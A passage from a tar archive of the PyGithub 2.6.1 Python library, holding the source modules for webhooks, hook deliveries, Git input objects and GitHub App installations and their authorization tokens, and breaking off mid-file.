dict: self._completeIfNotSet(self._config) return self._config.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def deliveries_url(self) -> str: self._completeIfNotSet(self._deliveries_url) return self._deliveries_url.value @property def events(self) -> list[str]: self._completeIfNotSet(self._events) return self._events.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def last_response(self) -> github.HookResponse.HookResponse: self._completeIfNotSet(self._last_response) return self._last_response.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def ping_url(self) -> str: self._completeIfNotSet(self._ping_url) return self._ping_url.value @property def test_url(self) -> str: self._completeIfNotSet(self._test_url) return self._test_url.value @property def type(self) -> str: self._completeIfNotSet(self._type) return self._type.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/hooks/{id} `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit( self, name: str, config: dict, events: Opt[list[str]] = NotSet, add_events: Opt[list[str]] = NotSet, remove_events: Opt[list[str]] = NotSet, active: Opt[bool] = NotSet, ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/hooks/{id} `_ """ assert isinstance(name, str), name assert isinstance(config, dict), config assert is_optional_list(events, str), events assert is_optional_list(add_events, str), add_events assert is_optional_list(remove_events, str), remove_events assert is_optional(active, bool), active post_parameters = NotSet.remove_unset_items( { "name": name, "config": config, "events": events, "add_events": add_events, "remove_events": remove_events, "active": active, } ) headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def test(self) -> None: """ :calls: `POST /repos/{owner}/{repo}/hooks/{id}/tests `_ """ headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/tests") def ping(self) -> None: """ :calls: `POST /repos/{owner}/{repo}/hooks/{id}/pings `_ """ headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/pings") def _useAttributes(self, attributes: dict[str, Any]) -> None: if "active" in attributes: # pragma no branch self._active = self._makeBoolAttribute(attributes["active"]) if "config" in attributes: # pragma no branch self._config = self._makeDictAttribute(attributes["config"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "deliveries_url" in attributes: # pragma no branch self._deliveries_url = self._makeStringAttribute(attributes["deliveries_url"]) if "events" in attributes: # pragma no branch self._events = self._makeListOfStringsAttribute(attributes["events"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "last_response" in attributes: # pragma no branch self._last_response = self._makeClassAttribute( github.HookResponse.HookResponse, attributes["last_response"] ) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "ping_url" in attributes: # pragma no branch self._ping_url = self._makeStringAttribute(attributes["ping_url"]) if "test_url" in attributes: # pragma no branch self._test_url = self._makeStringAttribute(attributes["test_url"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/HookDelivery.py0000644000175100001660000002252314756101563017232 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject from github.GithubObject import Attribute, NotSet class HookDeliverySummary(github.GithubObject.NonCompletableGithubObject): """ This class represents a Summary of HookDeliveries. The OpenAPI schema can be found at - /components/schemas/hook-delivery-item """ def _initAttributes(self) -> None: self._action: Attribute[str] = NotSet self._delivered_at: Attribute[datetime] = NotSet self._duration: Attribute[float] = NotSet self._event: Attribute[str] = NotSet self._guid: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._installation_id: Attribute[int] = NotSet self._redelivery: Attribute[bool] = NotSet self._repository_id: Attribute[int] = NotSet self._status: Attribute[str] = NotSet self._status_code: Attribute[int] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def action(self) -> str | None: return self._action.value @property def delivered_at(self) -> datetime | None: return self._delivered_at.value @property def duration(self) -> float | None: return self._duration.value @property def event(self) -> str | None: return self._event.value @property def guid(self) -> str | None: return self._guid.value @property def id(self) -> int | None: return self._id.value @property def installation_id(self) -> int | None: return self._installation_id.value @property def redelivery(self) -> bool | None: return self._redelivery.value @property def repository_id(self) -> int | None: return self._repository_id.value @property def status(self) -> str | None: return self._status.value @property def status_code(self) -> int | None: return self._status_code.value @property def url(self) -> str | None: return self._url.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "action" in attributes: # pragma no branch self._action = self._makeStringAttribute(attributes["action"]) if "delivered_at" in attributes: # pragma no branch self._delivered_at = self._makeDatetimeAttribute(attributes["delivered_at"]) if "duration" in attributes: # pragma no branch self._duration = self._makeFloatAttribute(attributes["duration"]) if "event" in attributes: # pragma no branch self._event = self._makeStringAttribute(attributes["event"]) if "guid" in attributes: # pragma no branch self._guid = self._makeStringAttribute(attributes["guid"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "installation_id" in attributes: # pragma no branch self._installation_id = self._makeIntAttribute(attributes["installation_id"]) if "redelivery" in attributes: # pragma no branch self._redelivery = self._makeBoolAttribute(attributes["redelivery"]) if "repository_id" in attributes: # pragma no branch self._repository_id = self._makeIntAttribute(attributes["repository_id"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "status_code" in attributes: # pragma no branch self._status_code = self._makeIntAttribute(attributes["status_code"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) class HookDeliveryRequest(github.GithubObject.NonCompletableGithubObject): """ This class represents a HookDeliveryRequest. The OpenAPI schema can be found at - /components/schemas/hook-delivery/properties/request """ def _initAttributes(self) -> None: self._payload: Attribute[dict] = NotSet self._request_headers: Attribute[dict] = NotSet def __repr__(self) -> str: return self.get__repr__({"payload": self._payload.value}) @property def headers(self) -> dict | None: return self._request_headers.value @property def payload(self) -> dict | None: return self._payload.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "headers" in attributes: # pragma no branch self._request_headers = self._makeDictAttribute(attributes["headers"]) if "payload" in attributes: # pragma no branch self._payload = self._makeDictAttribute(attributes["payload"]) class HookDeliveryResponse(github.GithubObject.NonCompletableGithubObject): """ This class represents a HookDeliveryResponse. The OpenAPI schema can be found at - /components/schemas/hook-delivery/properties/response """ def _initAttributes(self) -> None: self._payload: Attribute[str] = NotSet self._response_headers: Attribute[dict] = NotSet def __repr__(self) -> str: return self.get__repr__({"payload": self._payload.value}) @property def headers(self) -> dict | None: return self._response_headers.value @property def payload(self) -> str | None: return self._payload.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "headers" in attributes: # pragma no branch self._response_headers = self._makeDictAttribute(attributes["headers"]) if "payload" in attributes: # pragma no branch self._payload = self._makeStringAttribute(attributes["payload"]) class HookDelivery(HookDeliverySummary): """ This class represents a HookDelivery. The OpenAPI schema can be found at - /components/schemas/hook-delivery """ def _initAttributes(self) -> None: super()._initAttributes() self._request: Attribute[HookDeliveryRequest] = NotSet self._response: Attribute[HookDeliveryResponse] = NotSet self._throttled_at: Attribute[datetime] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def request(self) -> HookDeliveryRequest | None: return self._request.value @property def response(self) -> HookDeliveryResponse | None: return self._response.value @property def throttled_at(self) -> datetime: return self._throttled_at.value def _useAttributes(self, attributes: dict[str, Any]) -> None: super()._useAttributes(attributes) if "request" in attributes: # pragma no branch self._request = self._makeClassAttribute(HookDeliveryRequest, attributes["request"]) if "response" in attributes: # pragma no branch self._response = self._makeClassAttribute(HookDeliveryResponse, attributes["response"]) # self._response = self._makeDictAttribute(attributes["response"]) if "throttled_at" in attributes: # pragma no branch self._throttled_at = self._makeDatetimeAttribute(attributes["throttled_at"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/HookDescription.py0000644000175100001660000001075314756101563017734 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class HookDescription(NonCompletableGithubObject): """ This class represents HookDescriptions. """ def _initAttributes(self) -> None: self._events: Attribute[list[str]] = NotSet self._name: Attribute[str] = NotSet self._schema: Attribute[list[list[str]]] = NotSet self._supported_events: Attribute[list[str]] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def events(self) -> list[str]: return self._events.value @property def name(self) -> str: return self._name.value @property def schema(self) -> list[list[str]]: return self._schema.value @property def supported_events(self) -> list[str]: return self._supported_events.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "events" in attributes: # pragma no branch self._events = self._makeListOfStringsAttribute(attributes["events"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "schema" in attributes: # pragma no branch self._schema = self._makeListOfListOfStringsAttribute(attributes["schema"]) if "supported_events" in attributes: # pragma no branch self._supported_events = self._makeListOfStringsAttribute(attributes["supported_events"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/HookResponse.py0000644000175100001660000001023214756101563017237 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class HookResponse(NonCompletableGithubObject): """ This class represents HookResponses. The OpenAPI schema can be found at - /components/schemas/hook-response """ def _initAttributes(self) -> None: self._code: Attribute[int] = NotSet self._message: Attribute[str] = NotSet self._status: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"status": self._status.value}) @property def code(self) -> int: return self._code.value @property def message(self) -> str: return self._message.value @property def status(self) -> str: return self._status.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "code" in attributes: # pragma no branch self._code = self._makeIntAttribute(attributes["code"]) if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/InputFileContent.py0000644000175100001660000000663014756101563020061 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import NotSet, Opt, is_defined, is_optional class InputFileContent: """ This class represents InputFileContents. """ def __init__(self, content: str, new_name: Opt[str] = NotSet): assert isinstance(content, str), content assert is_optional(new_name, str), new_name self.__newName: Opt[str] = new_name self.__content: str = content @property def _identity(self) -> dict[str, str]: identity: dict[str, Any] = { "content": self.__content, } if is_defined(self.__newName): identity["filename"] = self.__newName return identity ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/InputGitAuthor.py0000644000175100001660000000735414756101563017561 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Nic Dahlquist # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import NotSet, Opt, is_defined, is_optional class InputGitAuthor: """ This class represents InputGitAuthors. """ def __init__(self, name: str, email: str, date: Opt[str] = NotSet): assert isinstance(name, str), name assert isinstance(email, str), email assert is_optional(date, str), date # @todo Datetime? self.__name: str = name self.__email: str = email self.__date: Opt[str] = date def __repr__(self) -> str: return f'InputGitAuthor(name="{self.__name}")' @property def _identity(self) -> dict[str, str]: identity: dict[str, Any] = { "name": self.__name, "email": self.__email, } if is_defined(self.__date): identity["date"] = self.__date return identity ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/InputGitTreeElement.py0000644000175100001660000000753514756101563020531 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import NotSet, Opt, is_defined, is_optional class InputGitTreeElement: """ This class represents InputGitTreeElements. """ def __init__( self, path: str, mode: str, type: str, content: Opt[str] = NotSet, sha: Opt[str | None] = NotSet, ): assert isinstance(path, str), path assert isinstance(mode, str), mode assert isinstance(type, str), type assert is_optional(content, str), content assert sha is None or is_optional(sha, str), sha self.__path = path self.__mode = mode self.__type = type self.__content = content self.__sha: Opt[str] | None = sha @property def _identity(self) -> dict[str, Any]: identity: dict[str, Any] = { "path": self.__path, "mode": self.__mode, "type": self.__type, } if is_defined(self.__sha): identity["sha"] = self.__sha if is_defined(self.__content): identity["content"] = self.__content return identity ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Installation.py0000644000175100001660000003054114756101563017266 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Rigas Papathanasopoulos # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Min RK # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.Authorization import github.Event import github.Gist import github.GithubObject import github.Issue import github.NamedUser import github.Notification import github.Organization import github.PaginatedList import github.Plan import github.Repository import github.UserKey from github import Consts from github.Auth import AppAuth from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet from github.PaginatedList import PaginatedList from github.Requester import Requester if TYPE_CHECKING: from github.MainClass import Github from github.NamedUser import NamedUser from github.Organization import Organization INTEGRATION_PREVIEW_HEADERS = {"Accept": Consts.mediaTypeIntegrationPreview} class Installation(NonCompletableGithubObject): """ This class represents Installations. The reference can be found here https://docs.github.com/en/rest/reference/apps#installations The OpenAPI schema can be found at - /components/schemas/installation """ def _initAttributes(self) -> None: self._access_tokens_url: Attribute[str] = NotSet self._account: Attribute[NamedUser | Organization] = NotSet self._app_id: Attribute[int] = NotSet self._app_slug: Attribute[str] = NotSet self._contact_email: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._events: Attribute[list[str]] = NotSet self._has_multiple_single_files: Attribute[bool] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._permissions: Attribute[dict[str, Any]] = NotSet self._repositories_url: Attribute[str] = NotSet self._repository_selection: Attribute[str] = NotSet self._single_file_name: Attribute[str] = NotSet self._single_file_paths: Attribute[list[str]] = NotSet self._suspended_at: Attribute[datetime] = NotSet self._suspended_by: Attribute[NamedUser] = NotSet self._target_id: Attribute[int] = NotSet self._target_type: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet def __init__( self, requester: Requester, headers: dict[str, str | int], attributes: Any, ) -> None: super().__init__(requester, headers, attributes) auth = self._requester.auth if self._requester is not None else None # Usually, an Installation is created from a Requester with App authentication if isinstance(auth, AppAuth): # But the installation has to authenticate as an installation (e.g. for get_repos()) auth = auth.get_installation_auth(self.id, requester=self._requester) self._requester = self._requester.withAuth(auth) def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property def access_tokens_url(self) -> str: return self._access_tokens_url.value @property def account(self) -> NamedUser | Organization: return self._account.value @property def app_id(self) -> int: return self._app_id.value @property def app_slug(self) -> str: return self._app_slug.value @property def contact_email(self) -> str: return self._contact_email.value @property def created_at(self) -> datetime: return self._created_at.value @property def events(self) -> list[str]: return self._events.value @property def has_multiple_single_files(self) -> bool: return self._has_multiple_single_files.value @property def html_url(self) -> str: return self._html_url.value @property def id(self) -> int: return self._id.value @property def permissions(self) -> dict[str, Any]: return self._permissions.value @property def repositories_url(self) -> str: return self._repositories_url.value @property def repository_selection(self) -> str: return self._repository_selection.value @property def requester(self) -> Requester: """ Return my Requester object. For example, to make requests to API endpoints not yet supported by PyGitHub. """ return self._requester @property def single_file_name(self) -> str: return self._single_file_name.value @property def single_file_paths(self) -> list[str]: return self._single_file_paths.value @property def suspended_at(self) -> datetime: return self._suspended_at.value @property def suspended_by(self) -> NamedUser: return self._suspended_by.value @property def target_id(self) -> int: return self._target_id.value @property def target_type(self) -> str: return self._target_type.value @property def updated_at(self) -> datetime: return self._updated_at.value def get_github_for_installation(self) -> Github: return github.Github(**self._requester.kwargs) def get_repos(self) -> PaginatedList[github.Repository.Repository]: """ :calls: `GET /installation/repositories `_ """ url_parameters: dict[str, Any] = {} return PaginatedList( contentClass=github.Repository.Repository, requester=self._requester, firstUrl="/installation/repositories", firstParams=url_parameters, headers=INTEGRATION_PREVIEW_HEADERS, list_item="repositories", ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "access_tokens_url" in attributes: # pragma no branch self._access_tokens_url = self._makeStringAttribute(attributes["access_tokens_url"]) if "account" in attributes and "target_type" in attributes: # pragma no branch target_type = attributes["target_type"] if target_type == "User": self._account = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["account"]) if target_type == "Organization": self._account = self._makeClassAttribute(github.Organization.Organization, attributes["account"]) if "app_id" in attributes: # pragma no branch self._app_id = self._makeIntAttribute(attributes["app_id"]) if "app_slug" in attributes: # pragma no branch self._app_slug = self._makeStringAttribute(attributes["app_slug"]) if "contact_email" in attributes: # pragma no branch self._contact_email = self._makeStringAttribute(attributes["contact_email"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "events" in attributes: # pragma no branch self._events = self._makeListOfStringsAttribute(attributes["events"]) if "has_multiple_single_files" in attributes: # pragma no branch self._has_multiple_single_files = self._makeBoolAttribute(attributes["has_multiple_single_files"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeDictAttribute(attributes["permissions"]) if "repositories_url" in attributes: # pragma no branch self._repositories_url = self._makeStringAttribute(attributes["repositories_url"]) if "repository_selection" in attributes: # pragma no branch self._repository_selection = self._makeStringAttribute(attributes["repository_selection"]) if "single_file_name" in attributes: # pragma no branch self._single_file_name = self._makeStringAttribute(attributes["single_file_name"]) if "single_file_paths" in attributes: # pragma no branch self._single_file_paths = self._makeListOfStringsAttribute(attributes["single_file_paths"]) if "suspended_at" in attributes: # pragma no branch self._suspended_at = self._makeDatetimeAttribute(attributes["suspended_at"]) if "suspended_by" in attributes: # pragma no branch self._suspended_by = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["suspended_by"]) if "target_id" in attributes: # pragma no branch self._target_id = self._makeIntAttribute(attributes["target_id"]) if "target_type" in attributes: # pragma no branch self._target_type = self._makeStringAttribute(attributes["target_type"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/InstallationAuthorization.py0000644000175100001660000001536514756101563022056 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Denis Blanchette # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.NamedUser import github.PaginatedList import github.Repository from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.NamedUser import NamedUser from github.Repository import Repository class InstallationAuthorization(NonCompletableGithubObject): """ This class represents InstallationAuthorizations. The OpenAPI schema can be found at - /components/schemas/installation-token """ def _initAttributes(self) -> None: self._expires_at: Attribute[datetime] = NotSet self._has_multiple_single_files: Attribute[bool] = NotSet self._on_behalf_of: Attribute[NamedUser] = NotSet self._permissions: Attribute[dict] = NotSet self._repositories: Attribute[list[Repository]] = NotSet self._repository_selection: Attribute[str] = NotSet self._single_file: Attribute[str] = NotSet self._single_file_paths: Attribute[list[str]] = NotSet self._token: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"expires_at": self._expires_at.value}) @property def expires_at(self) -> datetime: return self._expires_at.value @property def has_multiple_single_files(self) -> bool: return self._has_multiple_single_files.value @property def on_behalf_of(self) -> NamedUser: return self._on_behalf_of.value @property def permissions(self) -> dict: return self._permissions.value @property def repositories(self) -> list[Repository]: return self._repositories.value @property def repository_selection(self) -> str: return self._repository_selection.value @property def single_file(self) -> str: return self._single_file.value @property def single_file_paths(self) -> list[str]: return self._single_file_paths.value @property def token(self) -> str: return self._token.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "expires_at" in attributes: # pragma no branch self._expires_at = self._makeDatetimeAttribute(attributes["expires_at"]) if "has_multiple_single_files" in attributes: # pragma no branch self._has_multiple_single_files = self._makeBoolAttribute(attributes["has_multiple_single_files"]) if "on_behalf_of" in attributes: # pragma no branch self._on_behalf_of = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["on_behalf_of"]) if "permissions" in attributes: # pragma no branch self._permissions = self._makeDictAttribute(attributes["permissions"]) if "repositories" in attributes: # pragma no branch self._repositories = self._makeListOfClassesAttribute( github.Repository.Repository, attributes["repositories"] ) if "repository_selection" in attributes: # pragma no branch 